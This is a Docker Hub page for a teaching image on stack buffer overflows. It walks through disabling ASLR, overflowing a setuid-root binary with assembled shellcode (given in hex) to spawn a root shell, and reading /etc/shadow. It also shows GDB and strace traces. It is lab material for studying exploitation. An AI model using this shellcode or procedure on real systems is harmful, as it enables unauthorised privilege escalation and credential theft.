Sign inSign up

suezawa/exploit-exercise2

By suezawa

•Updated almost 7 years ago

Image
0

471

suezawa/exploit-exercise2 repository overview

⁠Exercise2: Stack Buffer Overflow

Try priviledged escalation using Arbitrary code execution vulnerability

⁠Caution
  • After doing this exercise, You have to re-enable ASLR (Address Randomization).
    • ASLR is disabled on your other containers too, when you disable it in this exercise.
# on root
sysctl -w kernel.randomize_va_space=2
⁠Run docker images
docker run --rm --privileged -it suezawa/exploit-exercise2 /bin/bash
⁠Procedure
  • Disable ASLR
# on root
sysctl -w kernel.randomize_va_space=0
  • Change user from root to appuser(unprivileged user)
# su appuser --shell=/bin/bash
$ echo Test | ./bof
  buf = 0x7ffc34d609f0
  Test
  • See segmentation fault
$ python -c "print ('A'*200)" | ./bof
buf = 0x7fffffffe610
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
  • Try to cat shadow
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
  • Confirm buffer array's address
$ ./bof
buf = 0x7fffffffe590
$ ./bof
buf = 0x7fffffffe590

You have to run it twice and confirm both address is same (If ASLR is enabled, the address is changed.)

  • Attack bof
$ ls -l bof
-rwsr-sr-x 1 root root 2051370 Jan 10 04:53 bof
$
$ python exploit_print.py 0x7fffffffe590 | ./bof
  buf = 0x7fffffffe590
  H1�H�/bin/sh

You have to use your buffer array's address instead of 0x7fffffffe590

  • Got shell
id
#[return] uid=1000(appuser) gid=37(appuser) euid=0(root) egid=0(root) groups=0(root),37(appuser)
cat /etc/shadow
#[return] root:*:18179:0:99999:7:::
⁠GDB (Autoexecution until ret)
# on root
gdb bof -x gdb-autocommand
⁠strace
# on root 
python exploit_print.py 0x7fffffffe590 | strace ./bof 2>&1 | grep "/bin/sh"
read(0, "H1\300H\270/bin/sh\0PI\211\340H1\300H\307\300-p\0\0PI\211\341H"..., 4096) = 129
write(1, "H1\300H\270/bin/sh\n", 13H1�H�/bin/sh
execve("/bin/sh", ["/bin/sh", "-p"], NULL) = 0

You have to use your buffer array's address instead of 0x7fffffffe590

⁠Re-enable ASLR on root (Must)
# on root
sysctl -w kernel.randomize_va_space=2
⁠(Ref) How to assemble shellcode
# rasm2 -f shellcode.s
4831c048b82f62696e2f736800504989e04831c048c7c02d700000504989e14831c050415141504989e248c7c03b0000004c89c74c89d64831d20f05
⁠(Ref) How binary was created
gcc -fno-stack-protector -z execstack bof.c -o /bof
⁠(ref) GDB (Manual)
# gdb bof
gdb-peda$ run
Starting program: /home/appuser/bof
buf = 0x7fffffffe5d0
^C(Ctrl+C)

gdb-peda$ shell python exploit_print.py 0x7fffffffe5d0 > input.txt
^C(Ctrl+C)

gdb-peda$ start < input.txt
gdb-peda$ break *0x400632
gdb-peda$ continue
gdb-peda$ stepi

When you jump to xor rax,rax from ret, the attack is successful.

⁠References

Tag summary

Content type

Image

Digest

Size

207.1 MB

Last updated

almost 7 years ago

docker pull suezawa/exploit-exercise2